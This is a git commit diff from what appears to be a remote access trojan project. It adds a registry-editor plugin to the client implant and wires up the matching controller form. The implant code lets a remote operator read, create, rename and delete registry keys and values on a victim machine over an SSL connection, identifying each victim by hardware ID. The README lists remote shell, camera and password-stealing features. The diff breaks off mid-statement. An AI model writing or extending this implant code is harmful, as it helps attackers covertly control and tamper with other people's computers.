Add reg edit

This commit is contained in:
qwqdanchun 2021-05-05 15:38:22 +08:00
parent 6b3e0583e0
commit 4febdca968
52 changed files with 2234 additions and 251 deletions

View File

@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8" ?>
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<!-- -->
<!-- ILMerge project-specific settings. Almost never need to be set explicitly. -->
<!-- for details, see http://research.microsoft.com/en-us/people/mbarnett/ilmerge.aspx -->
<!-- -->
<!-- *** set this file to Type=None, CopyToOutput=Never *** -->
<!-- If True, all copy local dependencies will also be merged from referenced projects whether they are referenced in the current project explicitly or not -->
<ILMergeTransitive>true</ILMergeTransitive>
<!-- Extra ILMerge library paths (semicolon-separated). Dont put your package dependencies here, they will be added automagically -->
<ILMergeLibraryPath></ILMergeLibraryPath>
<!-- The solution NuGet package directory if not standard 'SOLUTION\packages' -->
<ILMergePackagesPath></ILMergePackagesPath>
<!-- The merge order file name if differs from standard 'ILMergeOrder.txt' -->
<ILMergeOrderFile></ILMergeOrderFile>
<!-- The strong key file name if not specified in the project -->
<ILMergeKeyFile></ILMergeKeyFile>
<!-- The assembly version if differs for the version of the main assembly -->
<ILMergeAssemblyVersion></ILMergeAssemblyVersion>
<!-- added in Version 1.0.4 -->
<ILMergeFileAlignment></ILMergeFileAlignment>
<!-- added in Version 1.0.4, default=none -->
<ILMergeAllowDuplicateType></ILMergeAllowDuplicateType>
<!-- If the <see cref="CopyAttributes"/> is also set, any assembly-level attributes names that have the same type are copied over into the target assembly -->
<ILMergeAllowMultipleAssemblyLevelAttributes></ILMergeAllowMultipleAssemblyLevelAttributes>
<!-- See ILMerge documentation -->
<ILMergeAllowZeroPeKind></ILMergeAllowZeroPeKind>
<!-- The assembly level attributes of each input assembly are copied over into the target assembly -->
<ILMergeCopyAttributes></ILMergeCopyAttributes>
<!-- Creates a .pdb file for the output assembly and merges into it any .pdb files found for input assemblies, default=true -->
<ILMergeDebugInfo></ILMergeDebugInfo>
<!-- Target assembly will be delay signed -->
<ILMergeDelaySign></ILMergeDelaySign>
<!-- Types in assemblies other than the primary assembly have their visibility modified -->
<ILMergeInternalize></ILMergeInternalize>
<!-- The path name of the file that will be used to identify types that are not to have their visibility modified -->
<ILMergeInternalizeExcludeFile></ILMergeInternalizeExcludeFile>
<!-- XML documentation files are merged to produce an XML documentation file for the target assembly -->
<ILMergeXmlDocumentation></ILMergeXmlDocumentation>
<!-- External assembly references in the manifest of the target assembly will use full public keys (false) or public key tokens (true, default value) -->
<ILMergePublicKeyTokens></ILMergePublicKeyTokens>
<!-- Types with the same name are all merged into a single type in the target assembly -->
<ILMergeUnionMerge></ILMergeUnionMerge>
<!-- The version of the target framework, default 40 (works for 45 too) -->
<ILTargetPlatform></ILTargetPlatform>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,4 @@
# this file contains the partial list of the merged assemblies in the merge order
# you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build
# and finetune merge order to your satisfaction

View File

@ -1,5 +1,7 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props" Condition="Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props')" />
<Import Project="..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props" Condition="Exists('..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props')" />
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
@ -26,6 +28,8 @@
<IsWebBootstrapper>false</IsWebBootstrapper>
<UseApplicationTrust>false</UseApplicationTrust>
<BootstrapperEnabled>true</BootstrapperEnabled>
<NuGetPackageImportStamp>
</NuGetPackageImportStamp>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
@ -70,6 +74,8 @@
<AutoGen>True</AutoGen>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
<None Include="ILMerge.props" />
<None Include="packages.config" />
<None Include="Properties\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
@ -87,5 +93,17 @@
<Install>false</Install>
</BootstrapperPackage>
</ItemGroup>
<ItemGroup>
<Content Include="ILMergeOrder.txt" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
<PropertyGroup>
<ErrorText>这台计算机上缺少此项目引用的 NuGet 程序包。使用“NuGet 程序包还原”可下载这些程序包。有关更多信息,请参见 http://go.microsoft.com/fwlink/?LinkID=322105。缺少的文件是 {0}。</ErrorText>
</PropertyGroup>
<Error Condition="!Exists('..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props'))" />
<Error Condition="!Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props'))" />
<Error Condition="!Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets'))" />
</Target>
<Import Project="..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets" Condition="Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets')" />
</Project>

View File

@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="ILMerge" version="3.0.29" targetFramework="net40" />
<package id="MSBuild.ILMerge.Task" version="1.1.3" targetFramework="net40" />
</packages>

View File

@ -1,9 +1,9 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.29123.88
VisualStudioVersion = 16.0.31025.194
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Regedit", "Regedit\Regedit.csproj", "{1092ea5e-0249-4a81-a957-5bc44182128c}"
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Regedit", "Regedit\Regedit.csproj", "{C3D45C48-8543-49B5-B993-822FCFE1CA75}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
@ -11,15 +11,15 @@ Global
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{1092ea5e-0249-4a81-a957-5bc44182128c}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{1092ea5e-0249-4a81-a957-5bc44182128c}.Debug|Any CPU.Build.0 = Debug|Any CPU
{1092ea5e-0249-4a81-a957-5bc44182128c}.Release|Any CPU.ActiveCfg = Release|Any CPU
{1092ea5e-0249-4a81-a957-5bc44182128c}.Release|Any CPU.Build.0 = Release|Any CPU
{C3D45C48-8543-49B5-B993-822FCFE1CA75}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{C3D45C48-8543-49B5-B993-822FCFE1CA75}.Debug|Any CPU.Build.0 = Debug|Any CPU
{C3D45C48-8543-49B5-B993-822FCFE1CA75}.Release|Any CPU.ActiveCfg = Release|Any CPU
{C3D45C48-8543-49B5-B993-822FCFE1CA75}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {4FD410CC-1F1D-4948-A108-13285D633CDD}
SolutionGuid = {F9C76CBD-7872-426D-AEE6-560F2E39359D}
EndGlobalSection
EndGlobal

View File

@ -1,5 +1,5 @@
using Plugin.Handler;
using MessagePackLib.MessagePack;
using MessagePackLib.MessagePack;
using Plugin.Handler;
using System;
using System.Collections.Generic;
using System.Diagnostics;
@ -27,7 +27,7 @@ namespace Plugin
private static object SendSync { get; } = new object();
public static string Hwid { get; set; }
public static void InitializeClient(byte[] packet)
public static void InitializeClient()
{
try
{
@ -58,7 +58,7 @@ namespace Plugin
msgpack.ForcePathObject("Hwid").AsString = Hwid;
msgpack.ForcePathObject("Command").AsString = "setClient";
Send(msgpack.Encode2Bytes());
new RegManager(new MsgPack()).LoadKey(msgpack.ForcePathObject("RootKeyName").AsString);
new RegManager(new MsgPack()).LoadKey("");
}).Start();
}
@ -201,7 +201,6 @@ namespace Plugin
}
else
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(msg, 0, msg.Length);
SslClient.Flush();
}

View File

@ -1,17 +1,11 @@
using System;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
using System.Diagnostics;
using System.Threading;
using MessagePackLib.MessagePack;
using System.Runtime.InteropServices;
using Microsoft.Win32;
using System.Text.RegularExpressions;
using System.Runtime.Serialization.Formatters.Binary;
using static Plugin.Handler.RegistrySeeker;
using ProtoBuf;
using System.Windows.Forms;
namespace Plugin.Handler
{
@ -25,7 +19,7 @@ namespace Plugin.Handler
{
case "LoadRegistryKey":
{
string RootKeyName = unpack_msgpack.ForcePathObject("RootKeyName").AsString;
string RootKeyName = unpack_msgpack.ForcePathObject("RootKeyName").AsString;
LoadKey(RootKeyName);
break;
}
@ -89,7 +83,6 @@ namespace Plugin.Handler
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
Packet.Error(ex.Message);
}
}
@ -102,7 +95,25 @@ namespace Plugin.Handler
Serializer.Serialize(ms, Matches);
return ms.ToArray();
}
}
}
public static byte[] Serialize(RegSeekerMatch Matche)
{
using (MemoryStream ms = new MemoryStream())
{
Serializer.Serialize(ms, Matche);
return ms.ToArray();
}
}
public static byte[] Serialize(RegValueData Value)
{
using (MemoryStream ms = new MemoryStream())
{
Serializer.Serialize(ms, Value);
return ms.ToArray();
}
}
public void LoadKey(string RootKeyName)
@ -112,12 +123,6 @@ namespace Plugin.Handler
RegistrySeeker seeker = new RegistrySeeker();
seeker.BeginSeeking(RootKeyName);
//BinaryFormatter formatter = new BinaryFormatter();
//MemoryStream mStream = new MemoryStream();
//formatter.Serialize(mStream, seeker.Matches);
//mStream.Flush();
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
@ -153,10 +158,23 @@ namespace Plugin.Handler
{
string errorMsg;
string newKeyName = "";
try
{
RegistryEditor.CreateRegistryKey(ParentPath, out newKeyName, out errorMsg);
var Match = new RegSeekerMatch
{
Key = newKeyName,
Data = RegistryKeyHelper.GetDefaultValues(),
HasSubKeys = false
};
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("Command").AsString = "CreateKey";
msgpack.ForcePathObject("ParentPath").AsString = ParentPath;
msgpack.ForcePathObject("Match").SetAsBytes(Serialize(Match));
Connection.Send(msgpack.Encode2Bytes());
}
catch (Exception ex)
{
@ -169,6 +187,14 @@ namespace Plugin.Handler
try
{
RegistryEditor.DeleteRegistryKey(KeyName, ParentPath, out errorMsg);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("Command").AsString = "DeleteKey";
msgpack.ForcePathObject("ParentPath").AsString = ParentPath;
msgpack.ForcePathObject("KeyName").AsString = KeyName;
Connection.Send(msgpack.Encode2Bytes());
}
catch (Exception ex)
{
@ -181,11 +207,20 @@ namespace Plugin.Handler
try
{
RegistryEditor.RenameRegistryKey(OldKeyName, NewKeyName, ParentPath, out errorMsg);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("Command").AsString = "RenameKey";
msgpack.ForcePathObject("rootKey").AsString = ParentPath;
msgpack.ForcePathObject("oldName").AsString = OldKeyName;
msgpack.ForcePathObject("newName").AsString = NewKeyName;
Connection.Send(msgpack.Encode2Bytes());
}
catch (Exception ex)
{
Packet.Error(ex.Message);
}
}
}
public void CreateValue(string KeyPath, string Kindstring)
{
@ -238,6 +273,15 @@ namespace Plugin.Handler
try
{
RegistryEditor.CreateRegistryValue(KeyPath, Kind, out newKeyName, out errorMsg);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("Command").AsString = "CreateValue";
msgpack.ForcePathObject("keyPath").AsString = KeyPath;
msgpack.ForcePathObject("Kindstring").AsString = Kindstring;
msgpack.ForcePathObject("newKeyName").AsString = newKeyName;
Connection.Send(msgpack.Encode2Bytes());
}
catch (Exception ex)
{
@ -250,6 +294,14 @@ namespace Plugin.Handler
try
{
RegistryEditor.DeleteRegistryValue(KeyPath, ValueName, out errorMsg);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("Command").AsString = "DeleteValue";
msgpack.ForcePathObject("keyPath").AsString = KeyPath;
msgpack.ForcePathObject("ValueName").AsString = ValueName;
Connection.Send(msgpack.Encode2Bytes());
}
catch (Exception ex)
{
@ -262,6 +314,15 @@ namespace Plugin.Handler
try
{
RegistryEditor.RenameRegistryValue(OldValueName, NewValueName, KeyPath, out errorMsg);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("Command").AsString = "RenameValue";
msgpack.ForcePathObject("KeyPath").AsString = KeyPath;
msgpack.ForcePathObject("OldValueName").AsString = OldValueName;
msgpack.ForcePathObject("NewValueName").AsString = NewValueName;
Connection.Send(msgpack.Encode2Bytes());
}
catch (Exception ex)
{
@ -274,6 +335,14 @@ namespace Plugin.Handler
try
{
RegistryEditor.ChangeRegistryValue(Value, KeyPath, out errorMsg);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("Command").AsString = "ChangeValue";
msgpack.ForcePathObject("KeyPath").AsString = KeyPath;
msgpack.ForcePathObject("Value").SetAsBytes(Serialize(Value));
Connection.Send(msgpack.Encode2Bytes());
}
catch (Exception ex)
{

View File

@ -1,21 +1,11 @@
using Plugin.Handler;
using MessagePackLib.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Management;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Plugin
{
public static class Packet
{
public static string FileCopy = null;
public static string ZipPath = null;
public static void Read(object data)
{

View File

@ -1,5 +1,4 @@
using MessagePackLib.MessagePack;
using System;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
@ -11,28 +10,18 @@ using System.Threading;
namespace Plugin
{
public class Plugin
public class Plugin
{
public static Socket Socket;
public static Mutex AppMutex;
public static string Mutex;
public static string BSOD;
public static string Install;
public static string InstallFile;
public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bsod, string install)
{
Debug.WriteLine("Plugin Invoked");
AppMutex = mutex;
Mutex = mtx;
BSOD = bsod;
Install = install;
Socket = socket;
Connection.ServerCertificate = certificate;
Connection.Hwid = hwid;
new Thread(() =>
{
Connection.InitializeClient(msgPack);
Connection.InitializeClient();
}).Start();
while (Connection.IsConnected)

View File

@ -2,36 +2,35 @@
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
//[assembly: AssemblyTitle("FileManager")]
//[assembly: AssemblyDescription("")]
//[assembly: AssemblyConfiguration("")]
//[assembly: AssemblyCompany("")]
//[assembly: AssemblyProduct("FileManager")]
//[assembly: AssemblyCopyright("Copyright © 2019")]
//[assembly: AssemblyTrademark("")]
//[assembly: AssemblyCulture("")]
// 有关程序集的一般信息由以下
// 控制。更改这些特性值可修改
// 与程序集关联的信息。
[assembly: AssemblyTitle("Regedit")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Regedit")]
[assembly: AssemblyCopyright("Copyright © 2021")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
// 将 ComVisible 设置为 false 会使此程序集中的类型
//对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型
//请将此类型的 ComVisible 特性设置为 true。
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
//[assembly: Guid("bee88186-769a-452c-9dd9-d0e0815d92bf")]
// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
[assembly: Guid("c3d45c48-8543-49b5-b993-822fcfe1ca75")]
// Version information for an assembly consists of the following four values:
// 程序集的版本信息由下列四个值组成:
//
// Major Version
// Minor Version
// Build Number
// Revision
// 主版本
// 次版本
// 生成号
// 修订号
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值
//通过使用 "*",如下所示:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.6.0")]
[assembly: AssemblyFileVersion("1.0.6.0")]
[assembly: Guid("1092ea5e-0249-4a81-a957-5bc44182128c")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]

View File

@ -9,7 +9,7 @@
<ProjectGuid>{AB6CDF36-F336-4F14-8D69-3C190B7DEC65}</ProjectGuid>
<OutputType>Library</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>Plugin</RootNamespace>
<RootNamespace>Regedit</RootNamespace>
<AssemblyName>Regedit</AssemblyName>
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
@ -27,13 +27,12 @@
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>none</DebugType>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>..\..\..\Binaries\Release\Plugins\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<PlatformTarget>AnyCPU</PlatformTarget>
</PropertyGroup>
<ItemGroup>
<Reference Include="protobuf-net, Version=2.4.0.0, Culture=neutral, PublicKeyToken=257b51d87d2e4d67, processorArchitecture=MSIL">
@ -42,9 +41,9 @@
<Reference Include="System" />
<Reference Include="System.Configuration" />
<Reference Include="System.Core" />
<Reference Include="System.Drawing" />
<Reference Include="System.Runtime.Serialization" />
<Reference Include="System.ServiceModel" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
@ -54,18 +53,18 @@
<ItemGroup>
<Compile Include="Connection.cs" />
<Compile Include="Handler\ByteConverter.cs" />
<Compile Include="Handler\RegManager.cs" />
<Compile Include="Handler\RegistryEditor.cs" />
<Compile Include="Handler\RegistryKeyExtensions.cs" />
<Compile Include="Handler\RegistryKeyHelper.cs" />
<Compile Include="Handler\RegistrySeeker.cs" />
<Compile Include="Handler\RegManager.cs" />
<Compile Include="Packet.cs" />
<Compile Include="Plugin.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\..\..\MessagePack\MessagePackLib.csproj">
<Project>{DC199D9E-CF10-41DD-BBCD-98E71BA8679D}</Project>
<Project>{dc199d9e-cf10-41dd-bbcd-98e71ba8679d}</Project>
<Name>MessagePackLib</Name>
</ProjectReference>
</ItemGroup>
@ -79,7 +78,7 @@
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
<PropertyGroup>
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
<ErrorText>这台计算机上缺少此项目引用的 NuGet 程序包。使用“NuGet 程序包还原”可下载这些程序包。有关更多信息,请参见 http://go.microsoft.com/fwlink/?LinkID=322105。缺少的文件是 {0}。</ErrorText>
</PropertyGroup>
<Error Condition="!Exists('..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props'))" />
<Error Condition="!Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props'))" />

View File

@ -1,45 +0,0 @@
using System;
using System.IO;
using System.IO.Compression;
namespace Plugin
{
public static class Zip
{
public static byte[] Decompress(byte[] input)
{
using (var source = new MemoryStream(input))
{
byte[] lengthBytes = new byte[4];
source.Read(lengthBytes, 0, 4);
var length = BitConverter.ToInt32(lengthBytes, 0);
using (var decompressionStream = new GZipStream(source,
CompressionMode.Decompress))
{
var result = new byte[length];
decompressionStream.Read(result, 0, length);
return result;
}
}
}
public static byte[] Compress(byte[] input)
{
using (var result = new MemoryStream())
{
var lengthBytes = BitConverter.GetBytes(input.Length);
result.Write(lengthBytes, 0, 4);
using (var compressionStream = new GZipStream(result,
CompressionMode.Compress))
{
compressionStream.Write(input, 0, input.Length);
compressionStream.Flush();
}
return result.ToArray();
}
}
}
}

View File

@ -27,6 +27,7 @@
- Remote shell
- Remote desktop
- Remote camera
- Registry Editor
- File management
- Process management
- Netstat
@ -84,7 +85,6 @@
##### TODO
- Registry Editor
- Password recovery and other stealer (only chrome and edge are supported now)
- Reverse Proxy
- Hidden VNC

View File

@ -2197,7 +2197,8 @@ namespace Server
{
Name = "remoteRegedit:" + client.ID,
Text = "remoteRegedit:" + client.ID,
Client = client,
//Client = client,
ParentClient = client,
F = this
};
registryEditor.Show();

View File

@ -603,6 +603,7 @@ namespace Server.Forms
//
// timer1
//
this.timer1.Interval = 2000;
this.timer1.Tick += new System.EventHandler(this.timer1_Tick);
//
// FormRegistryEditor

View File

@ -19,94 +19,23 @@ namespace Server.Forms
internal Clients ParentClient { get; set; }
public FormRegistryEditor()
{
InitializeComponent();
}
/// <summary>
/// Registers the registry editor handler for client communication.
/// </summary>
//private void RegisterMessageHandler()
//{
// _connectClient.ClientState += ClientDisconnected;
// _registryHandler.ProgressChanged += ShowErrorMessage;
// _registryHandler.KeysReceived += AddKeys;
// _registryHandler.KeyCreated += CreateNewKey;
// _registryHandler.KeyDeleted += DeleteKey;
// _registryHandler.KeyRenamed += RenameKey;
// _registryHandler.ValueCreated += CreateValue;
// _registryHandler.ValueDeleted += DeleteValue;
// _registryHandler.ValueRenamed += RenameValue;
// _registryHandler.ValueChanged += ChangeValue;
// MessageHandler.Register(_registryHandler);
//}
/// <summary>
/// Unregisters the registry editor message handler.
/// </summary>
//private void UnregisterMessageHandler()
//{
// MessageHandler.Unregister(_registryHandler);
// _registryHandler.ProgressChanged -= ShowErrorMessage;
// _registryHandler.KeysReceived -= AddKeys;
// _registryHandler.KeyCreated -= CreateNewKey;
// _registryHandler.KeyDeleted -= DeleteKey;
// _registryHandler.KeyRenamed -= RenameKey;
// _registryHandler.ValueCreated -= CreateValue;
// _registryHandler.ValueDeleted -= DeleteValue;
// _registryHandler.ValueRenamed -= RenameValue;
// _registryHandler.ValueChanged -= ChangeValue;
// _connectClient.ClientState -= ClientDisconnected;
//}
/// <summary>
/// Called whenever a client disconnects.
/// </summary>
/// <param name="client">The client which disconnected.</param>
/// <param name="connected">True if the client connected, false if disconnected</param>
//private void ClientDisconnected(Client client, bool connected)
//{
// if (!connected)
// {
// this.Invoke((MethodInvoker)this.Close);
// }
//}
protected override CreateParams CreateParams
{
get
{
CreateParams cp = base.CreateParams;
cp.ExStyle |= 0x02000000; //WS_EX_COMPOSITED
return cp;
}
}
private void FrmRegistryEditor_Load(object sender, EventArgs e)
{
if (Client.Admin != true)
if (ParentClient.Admin != true)
{
MessageBox.Show(
"The client software is not running as administrator and therefore some functionality like Update, Create, Open and Delete may not work properly!",
"Alert!", MessageBoxButtons.OK, MessageBoxIcon.Warning);
}
//this.Text = GetWindowTitle("Registry Editor", _connectClient);
// signal client to retrive the root nodes (indicated by null)
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
msgpack.ForcePathObject("Command").AsString = "LoadRegistryKey";
msgpack.ForcePathObject("RootKeyName").AsString = "";
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
//LoadRegistryKey(null);
}
#region TreeView helper functions
private void AddRootKey(RegSeekerMatch match)
{
TreeNode node = CreateNode(match.Key, match.Key, match.Data);
@ -163,7 +92,7 @@ namespace Server.Forms
}
}
private void CreateNewKey(object sender, string rootKey, RegSeekerMatch match)
public void CreateNewKey(string rootKey, RegSeekerMatch match)
{
TreeNode parent = GetTreeNode(rootKey);
@ -177,7 +106,7 @@ namespace Server.Forms
node.BeginEdit();
}
private void DeleteKey(object sender, string rootKey, string subKey)
public void DeleteKey(string rootKey, string subKey)
{
TreeNode parent = GetTreeNode(rootKey);
@ -186,7 +115,7 @@ namespace Server.Forms
}
}
private void RenameKey(object sender, string rootKey, string oldName, string newName)
public void RenameKey(string rootKey, string oldName, string newName)
{
TreeNode parent = GetTreeNode(rootKey);
@ -221,11 +150,10 @@ namespace Server.Forms
return lastNode;
}
#endregion
#region ListView helper functions
private void CreateValue(object sender, string keyPath, RegValueData value)
public void CreateValue(string keyPath, RegValueData value)
{
TreeNode key = GetTreeNode(keyPath);
@ -250,7 +178,7 @@ namespace Server.Forms
}
}
private void DeleteValue(object sender, string keyPath, string valueName)
public void DeleteValue(string keyPath, string valueName)
{
TreeNode key = GetTreeNode(keyPath);
@ -281,7 +209,7 @@ namespace Server.Forms
}
}
private void RenameValue(object sender, string keyPath, string oldName, string newName)
public void RenameValue(string keyPath, string oldName, string newName)
{
TreeNode key = GetTreeNode(keyPath);
@ -302,7 +230,7 @@ namespace Server.Forms
}
}
private void ChangeValue(object sender, string keyPath, RegValueData value)
public void ChangeValue(string keyPath, RegValueData value)
{
TreeNode key = GetTreeNode(keyPath);
@ -378,7 +306,13 @@ namespace Server.Forms
}
else
{
//RenameRegistryKey(e.Node.Parent.FullPath, e.Node.Name, e.Label);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
msgpack.ForcePathObject("Command").AsString = "RenameRegistryKey";
msgpack.ForcePathObject("OldKeyName").AsString = e.Node.Name;
msgpack.ForcePathObject("NewKeyName").AsString = e.Label;
msgpack.ForcePathObject("ParentPath").AsString = e.Node.Parent.FullPath;
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
tvRegistryDirectory.LabelEdit = false;
}
}
@ -405,8 +339,14 @@ namespace Server.Forms
tvRegistryDirectory.SuspendLayout();
parentNode.Nodes.Clear();
//LoadRegistryKey(parentNode.FullPath);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
msgpack.ForcePathObject("Command").AsString = "LoadRegistryKey";
msgpack.ForcePathObject("RootKeyName").AsString = parentNode.FullPath;
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
Thread.Sleep(500);
tvRegistryDirectory.ResumeLayout();
e.Cancel = true;
@ -550,7 +490,13 @@ namespace Server.Forms
return;
}
//RenameRegistryValue(tvRegistryDirectory.SelectedNode.FullPath,lstRegistryValues.Items[index].Name, e.Label);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
msgpack.ForcePathObject("Command").AsString = "RenameRegistryValue";
msgpack.ForcePathObject("OldValueName").AsString = lstRegistryValues.Items[index].Name;
msgpack.ForcePathObject("NewValueName").AsString = e.Label;
msgpack.ForcePathObject("KeyPath").AsString = tvRegistryDirectory.SelectedNode.FullPath;
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
lstRegistryValues.LabelEdit = false;
}
else
@ -586,7 +532,11 @@ namespace Server.Forms
}
else
{
//CreateRegistryKey(tvRegistryDirectory.SelectedNode.FullPath);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
